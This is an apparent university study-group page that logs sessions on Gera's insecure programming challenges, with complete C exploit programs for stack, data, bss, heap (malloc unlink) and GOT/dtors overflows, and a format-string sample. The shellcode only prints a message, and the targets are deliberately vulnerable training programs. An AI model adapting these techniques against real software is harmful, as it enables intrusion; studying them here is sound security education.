Skip navigation.
Home

Open study group C vulnerabilities page

This page is related to the the open study group C vulnerabilities.

Location: Distrinet Lab (2nd flood, Computer Science building, Celestijnenlaan 200A)
Time: 19h15-21h15 on Tuesday. 

For the first few sesisons, we will be solving the challenges on gera's insecure programming page
All programs should be compiled with gcc-2.95 and run on kernel 2.4, we will also be using glibc 2.3.2. 

Please note that debian uses glibc-2.3.2dsc1, this is version contains a patch which adds a check that makes exploitation harder. 
If needed I can supply you with .debs without the check.

Session 1:
	The presentation for the first session: Cstudy.ppt.

	The first 4 challenges of "WARMING UP on STACK" were solved:

	Solutions:
	   stack1:
   		perl -e 'print "A"x80; print "DCBA"' | ./stack1
	   stack2:
		perl -e 'print "A"x80; printf("%c%c%c%c", 5, 3, 2, 1)' | ./stack2
	   stack3:
		perl -e 'print "A"x80; printf("%c%c%c%c", 5, 0, 2, 1)' | ./stack3
	   stack4:
		Here we can't generate the correct value because the gets will terminate on '\n'.
		Instead we can overwrite the return address and jump to the instruction right after the if.
		Loading the program into gdb and typing: disas main will allow us to find the address of this instruction.
		
		C program:
		   #define RET 0x0804846a
		   int main() {
			char buffer[92];
			memset(buffer, '\x90', 92);
		        *(long *)&buffer[88] = RET;
		        printf(buffer);
		   }
		Run with: ./exploit4 | ./stack4

	Reading for the next session:
		Chapter 5.1 of An overview of common programming vulnerabilities and possible solutions by Yves Younan
		Smashing the stack for fun and profit by Aleph 1
		Buffer overflows demystified by Murat Balaban

Preparation for session 2:
	1) Try to solve stack 5.
          Hints:
		This is a real code injection attack.
		Example shellcode that can be used for the challenges:
		  static char shellcode[] =
			"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
			"\x69\x6e\x21\x68\x79\x6f\x75\x20"
			"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
			"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
			"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly
		  Which does the following:
			.globl main
       			.type   main, @function
			main:
			  push $0x9         # \n, but this will terminate gets, so work around by 
			  addl $1, (%esp)   # pushing 9 and adding 1
			  push $0x216E6977  # push: !niw
			  push $0x20756f79  # push:  ouy
			  xor  %ebx, %ebx   # empty to avoid null byte when using mov %ebx
			  mov  $0x1, %bl    # set up arguments to write()
			  mov  %esp, %ecx
			  xor  %edx, %edx
			  mov  $0x9, %dl
			  xor  %eax, %eax
			  mov  $0x4, %al    # we want the write systemcall
			  int  $0x80        # system call
			  xor  %ebx, %ebx   # the code has to stop some time...
			  mov  $0x1, %al    # exit cleanly by calling exit(0)
			  int  $0x80
		  Which is functionally equivalent to:
			int main() {
			  printf("You win\n");
			  exit(0)
			}
		One more tip: the program will print out all the information you need to exploit it, no need to use gdb.

Session 2:
	The presentation for the second session: Cstudy2.ppt

	The fifth challenge of "WARMING UP on STACK" was solved:
	
		#include <stdio.h>
		#include <string.h>
		#include <unistd.h>

		static char shellcode[] =
			"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
			"\x69\x6e\x21\x68\x79\x6f\x75\x20"
			"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
			"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
			"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly

		// This is the value 'buf' that is printed out by stack5.c
		#define RET 0xbffffce4

		int main() {
		  char buffer[93];
 		  int ret;
  		  memset(buffer, '\x90', 92);
  		  memcpy(buffer, shellcode, strlen(shellcode));
		  *(long *)&buffer[88] = RET;
		  // Terminate strcpy
		  buffer[92] = 0;
		  printf(buffer);
		}
	The first challenge of "ADVANCED BUFFER OVERFLOWS" was done:
		First we must find out where in memory the buffer is, simply putting a printf in abo1 
	        is the easiest way of accomplishing it (note that depending on the environment passed, 
		the stack address of the buffer will be very different, so try it when executing the 
		program from within your exploit)

		Example execve:
			#include <unistd.h>

			int main (int argc, char **argv) {
			  char *execargv[3] = { "/bin/ls", "--color=always", NULL };
			  char *env[2] = { "TEST=1", NULL };
			  execve(execargv[0],execargv,env);
			}
		
		Solution:
			#include <stdio.h>
			#include <string.h>
			#include <unistd.h>

			static char shellcode[] =
				"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
				"\x69\x6e\x21\x68\x79\x6f\x75\x20"
				"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
				"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
				"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly

			#define RET 0xbffffce8

			int main (int argc, char **argv) {
			  char buffer[265];
  			  char *execargv[3] = { "./abo1", buffer, NULL };
			  char *env[2] = { NULL };
			  memset(buffer, '\x90', 264);
			  memcpy(buffer, shellcode, strlen(shellcode));
			  *(long *)&buffer[260] = RET;
			  // Terminate strcpy
			  buffer[264] = 0;
			  execve(execargv[0],execargv,env);
			}

Preparation for session 3:
	1) Try to use the technique of placing the shellcode in the environment on abo1. 
	2) Take a look at abo2 and figure out how you would go about exploiting it.
		
        Solution:
                Using the environment shellcode is fairly simple:
                        ret = STACKSTART
                              - 4 (four nulls on the stack)
                              - length program name
                              - 1 (null to terminate program name that strlen will not count)
                              - environment size (length shellcode in our example)

                        ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);


	So the abo1 exploit becomes:

                #include <stdio.h>
                #include <string.h>
                #include <unistd.h>

                static char shellcode[] =
                        "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
                        "\x69\x6e\x21\x68\x79\x6f\x75\x20"
                        "\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
                        "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
                        "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly

                int main (int argc, char **argv) {   
                  char buffer[265];
                  char *execargv[3] = { "./abo1", buffer, NULL };      
                  char *env[2] = { shellcode, NULL }; 
                  int ret;
                  // Calculate the stack address of the shellcode
                  ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
                  printf ("return address is %#10x", ret);
                  memset(buffer, '\x90', 264);
                  *(long *)&buffer[260] = ret;
		  // Terminate strcpy
		  buffer[264] = 0;
                  execve(execargv[0],execargv,env);
                }

		abo2 is not exploitable on Linux on x86. 
		There's nothing interesting we can overwrite on the stack that would influence exit().

Session 3:
	In session 3, abo3 and abo4 were solved.
	Solutions:
		abo3 contains an exit, so overflowing the return address will not work. 
		It is however possible to overwrite the function pointer in this program.

                #include <stdio.h>
                #include <string.h>
                #include <unistd.h>

                static char shellcode[] =
                        "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
                        "\x69\x6e\x21\x68\x79\x6f\x75\x20"
                        "\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
                        "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
                        "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly

		int main (int argc, char **argv) {
		  char buffer[261];
		  char *execargv[4] = { "./abo3", buffer, "/bin/bash" ,NULL };
		  char *env[2] = { shellcode, NULL };
		  int ret;
		  // Calculate the stack address of the shellcode
		  ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
		  printf ("return address is %#10x", ret);
		  memset(buffer, '\x90', 260);
		  *(long *)&buffer[256] = ret;
		  // Terminate strcpy
		  buffer[260] = 0;

		  execve(execargv[0],execargv,env);
		}		
		

		abo4 requires an indirect pointer overwrite to exploit: 
		it is not possible to directly overflow the function pointer, 
		because it is no longer located on the stack. 
		However, pbuf is a data pointer that is located on the stack 
		and can be overflowed, so we use an overflow of buf to make pbuf 
		point to fn and then use the second strcpy to copy the information 
		over buf (the second strcpy is just a copy, not an overflow).

		Use:  "objdump -t abo4 | grep fn" to find out the address of fn.

                #include <stdio.h>
                #include <string.h>
                #include <unistd.h>

                static char shellcode[] =
                        "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
                        "\x69\x6e\x21\x68\x79\x6f\x75\x20"
                        "\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
                        "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
                        "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly

		#define FN 0x080496a0

		int main (int argc, char **argv) {
		  char buffer[261];
		  char retaddr[4];
		  char *execargv[5] = { "./abo4", buffer, retaddr, "/bin/bash" ,NULL };
		  char *env[2] = { shellcode, NULL };
		  int ret;
 		  // Calculate the stack address of the shellcode
		  ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
		  memset(buffer, '\x90', 260);
		  *(long *)&buffer[256] = FN;
		  // Terminate strcpy
		  buffer[260] = 0;
		  *(long *)&retaddr = ret;
		  execve(execargv[0],execargv,env);
		}
		
Preparation for session 4:
	1) Read section 6.1 of Exploiting Format String Vulnerabilities by scut

Sessions 4 and 5:
	In sessions 4 and 5, abo5 and abo6 were solved.

	Solutions:
	 abo5 contains an exit(), right after the overflow, 
	 so we can't overwrite data on the stack, we must overwrite another location.
	 Here are 2 sample exploits for this vulnerability:
	 - The first overwrites the GOT entry for exit, so that our code 
	   will be executed instead of the exit function call
	 - The second overwrites a DTORS entry, so when the program exits, 
	   our code will be called as a destructor function

	 Exploit 1 for abo5:

                #include <stdio.h>
                #include <string.h>
                #include <unistd.h>

		static char shellcode[] =
		"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
		"\x69\x6e\x21\x68\x79\x6f\x75\x20"
		"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
		"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
		"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly

		// GOT entry for exit()
		#define EXIT 0x0804974c

		int main (int argc, char **argv) {
		  char buffer[261];
		  char retaddr[4];
		  char *execargv[5] = { "./abo5", buffer, retaddr, "/bin/bash" ,NULL };
		  char *env[2] = { shellcode, NULL };
		  int ret;
		  // Calculate the stack address of the shellcode
		  ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
		  memset(buffer, '\x90', 260);
		  *(long *)&buffer[256] = EXIT;
		  // Terminate strcpy
		  buffer[260] = 0;
		  *(long *)&retaddr = ret;
		  execve(execargv[0],execargv,env);
		}

	 Exploit 2 for abo5:

                #include <stdio.h>
                #include <string.h>
                #include <unistd.h>

		static char shellcode[] =
		"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
		"\x69\x6e\x21\x68\x79\x6f\x75\x20"
		"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
		"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
		"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly

		// DTORS 'termination' (4 NULLS)
		#define DTORS 0x08049728

		int main (int argc, char **argv) {
		  char buffer[261];
		  char retaddr[5];
		  char *execargv[5] = { "./abo5", buffer, retaddr, "/bin/bash" ,NULL };
		  char *env[2] = { shellcode, NULL };
		  int ret;
		  // Calculate the stack address of the shellcode
		  ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
		  memset(buffer, '\x90', 260);
		  *(long *)&buffer[256] = DTORS;
		  // Terminate strcpy
		  buffer[260] = 0;
		  *(long *)&retaddr = ret;
		  // DTORS must terminate with a NULL
		  retaddr[4] = 0;
		  execve(execargv[0],execargv,env);
		}


	In abo6 nothing in the datasegment or stack can be overwritten because the program 
	will go into an endless loop right after the second strcpy. However, the first strcpy
	allows us to point pbuf to the second strcpy's return address and the second strcpy 
	will then overwrite it's own return address by copying our input into pbuf. This exploit 
	is very fragile: the exact location of the return address must be determined (kind of like 
	determining where the shellcode is in stack5 and abo1).

                #include <stdio.h>
                #include <string.h>
                #include <unistd.h>

		static char shellcode[] =
		"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
		"\x69\x6e\x21\x68\x79\x6f\x75\x20"
		"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
		"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
		"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly


		// Address of buf - 40 (distance of buf to return address)
		#define BUF 0xbffffb6c

		int main (int argc, char **argv) {
		  char buffer[261];
		  char retaddr[4];
		  char *execargv[5] = { "./abo6", buffer, retaddr, "/bin/bash" ,NULL };
		  char *env[2] = { shellcode, NULL };
		  int ret;
		  // Calculate the stack address of the shellcode
		  ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
		  memset(buffer, '\x90', 260);
		  *(long *)&buffer[256] = BUF;
		  // Terminate strcpy
		  buffer[260] = 0;
		  *(long *)&retaddr = ret;
		  execve(execargv[0],execargv,env);
		}
	

Preparation for session 6:
	1) Read Overwriting the .dtors section by Juan M. Bello Rivas
	2) Read chapter 5.2 of An overview of common programming vulnerabilities and possible solutions by Yves Younan
	and/or
	3) Read section 3.1 of Security of Memory Allocators for C and C++ by Yves Younan, Wouter Joosen and Frank Piessens and Hans Van den Eynden

Session 6:
	In this session, we solved abo7 and abo8.

	abo7:
		This is a fairly simple overflow in the data section. We can overflow from there into the 
		dtors section and write a pointer to our code in it.
		We can find the location in the datasection of our buf by doing:
			objdump -t abo7 | grep buf
		The location of the dtors section is found similarly:
			objdump -x abo7 | grep -i dtors
		We can now calculate the distance between the two, and overwrite the correct location.

                #include <stdio.h>
                #include <string.h>
                #include <unistd.h>

		static char shellcode[] =
		"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
		"\x69\x6e\x21\x68\x79\x6f\x75\x20"
		"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
		"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
		"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly


		int main (int argc, char **argv) {
		  char buffer[476];
		  char *execargv[3] = { "./abo7", buffer, NULL };
		  char *env[2] = { shellcode, NULL };
		  int ret;
		  // Calculate the stack address of the shellcode
		  ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
		  memset(buffer, '\x90', 476);
		  *(long *)&buffer[472] = ret;
		  execve(execargv[0],execargv,env);
		}


	abo8:
		This is an overflow in the bss section. Unlike the data section it 
		does not have sections stored behind it. However malloc will start 
		allocating heap space behind the bss section, so this could be 
		overwritten by an overflow in this section. Any pointers in this 
		section are also a possible attack vector. Abo8 does not contain any
		of these, so it is not exploitable.

Preparation for session 7:
	2) Read chapter 5.2 of An overview of common programming vulnerabilities and possible solutions by Yves Younan
	2) Linux (Doug Lea) malloc exploitation of Once upon a free() by anonymous
	3) Vudo - An object superstitiously believed to embody magical powers by Michel "MaXX" Kaempf

Session 7:
	Sample program:

       #include <stdio.h>
       #include <string.h>
       #include <unistd.h>


	int function(char **argv) { 
		char *a = (char *)malloc(100); 
		char *b = (char *)malloc(100); // make sure a is not next to top 
		printf("a is at %p and its stack location is at %p\n", a, &a); 
		printf("return address is at %p = %p\n", (&a + 2) ,*(&a + 2)); 
		strcpy(a,argv[1]); 
		free(a); 
		printf("return address is at %p = %p\n", (&a + 2) ,*(&a + 2)); 
	} 
	int main(int argc, char **argv) { 
		function(argv); 
	} 

Solution for the sample program:

       #include <stdio.h>
       #include <string.h>
       #include <unistd.h>

	static char shellcode[] =
	"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
	"\x69\x6e\x21\x68\x79\x6f\x75\x20"
	"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
	"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
	"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly

	#define RETLOC 0xbffffe5c // location of the return address the value at 
	// this location will be overwritten with ADDR 
	#define ADDR 0x8049850 // location of the shellcode 

	int main() { 
	  char *argv[3]; 
	  char shellcode2[112]; 

	  memset(shellcode2,'\x90',112); 
	  // in reality we need to skip 12, but the jump code takes up 2 bytes 
	  shellcode2[8] = '\xeb'; // jump 
	  shellcode2[9] = '\x0a'; // 10 bytes 

	  memcpy(shellcode2+20, shellcode, strlen(shellcode)); 

	  // In our example the requested space + 4 is exactly a multiple of 8 so malloc will not 
	  // add any padding bytes, meaning the next chunk lies directly next to ours. 
	  // It also means that the prev size of the next chunk will completely be part of the 
	  // data of this chunk so we begin writing at allocsize - 4. 
	  // We cant write NULL bytes but we need a value that is safe to add to a pointer 
	  *(long *)&shellcode2[96] = 0xfffffffc; // prev size 
	  // The value here is -4, because we need the least 2 significant bytes to be 0 and we 
	  // also can not write any NULL values as this would stop the strcpy. 
	  // This will cause the chunk to look at itself when trying to find its PREV INUSE 
	  // chunk (address of next chunk + size + 4) 
	  *(long *)&shellcode2[100] = 0xfffffffc; // size 
	  *(long *)&shellcode2[104] = RETLOC -  12; // location of return address 
	  // free overwrites the first 8 bytes of a, for the forward and back pointers, 
	  // so we can only start writing 8 bytes further. 
	  *(long *)&shellcode2[108] = ADDR + 8; // location of shell code
	  argv[0] = "./malloc1"; 
	  argv[1] = shellcode2; 
	  argv[2] = NULL; 
	  execve(argv[0],argv,0); 
} 

In this sample program the consolidate forward code of the free function call of malloc was exploited.

Session 8:

The code of the memory allocator could be interesting for abo9, especially the function _int_free()

In this session abo9 was solved.
The consolidate backward code of the free function call of  malloc was exploited to overwrite the GOT entry for free

       #include <stdio.h>
       #include <string.h>
       #include <unistd.h>

	static char shellcode[] =
	"\xeb\x0d\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
	"\x69\x6e\x21\x68\x79\x6f\x75\x20"
	"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
	"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
	"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly

	#define BUF1 0x80497b8
	#define FREE 0x080496ec

	int main (int argc, char **argv) {
	  char buffer[300];
	  memset(buffer, '\x41', 300);
	  memcpy(buffer+8,shellcode,strlen(shellcode));

	  // next chunk = buffer[256] + size
	  //              256-8 = 248
	  // so buffer[248] is next chunk
	  // now we need the size field of this chunk 248+4 = 252
	  *(long *)&buffer[252] = 0xfffffff9; // size field of next chunk

	  // start of chunk
	  *(long *)&buffer[256] = 0xfffffff8; // prevsize
	  *(long *)&buffer[260] = 0xfffffff8; // size 
	  // writable p starts at 264

	  //      /* consolidate backward */
	  //      if (!prev_inuse(p)) {
	  //        prevsize = p->prev_size;
	  //        size += prevsize;
	  //        p = chunk_at_offset(p, -((long) prevsize));
	  //        unlink(p, bck, fwd);
	  //      }    

	  // we're building a fake chunk

	  // p - -8 find chunk at p+8, so 256+8 is start of chunk
	  // prevsize and size at this chunk are unimportant
	  // we need fd and bk there, so 256+8 = 264
	  // 264 + 8 = fd, and 264+12 = bk

	  // p->fd
	  *(long *)&buffer[272] = FREE-12;
	  // p->bk
	  *(long *)&buffer[276] = BUF1;

	  // terminate buffer  
	  buffer[280] = 0;

	  printf("%s\n", buffer);
}

Abo10 is similar to this exploit, except that the overflow is in the bss section, which allows an attacker to overwrite a malloc'ed chunk
Dtors is not used as a target because it needs a null to terminate it, which we would overwrite. Instead we overwrite the return address of main.

       #include <stdio.h>
       #include <string.h>
       #include <unistd.h>

	static char shellcode[] =
	"\xeb\x0d\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack
	"\x69\x6e\x21\x68\x79\x6f\x75\x20"
	"\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
	"\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out
	"\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly
	
	// actually buf+4
	#define BUF1 0x8049704
	#define RET 0xbffffd4c

	int main (int argc, char **argv) {
  	  char buffer[500];
  	  memset(buffer, '\x41', 500);
	  memcpy(buffer+4,shellcode,strlen(shellcode));

	  // next chunk = buffer[328] + size
	  //              328-8 = 320
	  // so buffer[248] is next chunk
	  // now we need the size field of this chunk 320+4 = 324
	  *(long *)&buffer[324] = 0xfffffff9; // size field of next chunk

	  // start of chunk
	  *(long *)&buffer[328] = 0xfffffff8; // prevsize
	  *(long *)&buffer[332] = 0xfffffff8; // size 
	  // writable p starts at 336

	  //      /* consolidate backward */
	  //      if (!prev_inuse(p)) {
	  //        prevsize = p->prev_size;
	  //        size += prevsize;
	  //        p = chunk_at_offset(p, -((long) prevsize));
	  //        unlink(p, bck, fwd);
	  //      }    

	  // we're building a fake chunk

	  // p - -8 find chunk at p+8, so 328+8 is start of chunk
	  // prevsize and size at this chunk are unimportant
	  // we need fd and bk there, so 328+8 = 336
	  // 336 + 8 = fd, and 336+12 = bk

	  // p->fd
	  *(long *)&buffer[344] = FREE-12;
	  // p->bk
	  *(long *)&buffer[348] = BUF1;

	  // terminate buffer  
	  buffer[352] = 0;

	  printf("%s\n", buffer);

	}

Preparation for session 9:
	1) Read  Exploiting Format String Vulnerabilities by scut
	2) Read chapter 5.5 of An overview of common programming vulnerabilities and possible solutions by Yves Younan


	Sample program:

       #include <stdio.h>
       #include <string.h>
       #include <unistd.h>

	void formatvuln(char *fstr) { 
		char buf[512]; 
		printf("buf is at %p\n", buf); 
		snprintf(buf,512,fstr); 

		buf[511] = 0;
		printf("%s",buf); 
	}
 
	int main(int argc, char **argv) { 
		formatvuln(argv[1]); 
	} 

AttachmentSize
Cstudy.ppt136 KB
Cstudy2.ppt123.5 KB
formatstring-1.2.pdf228.89 KB
malloc.c166.5 KB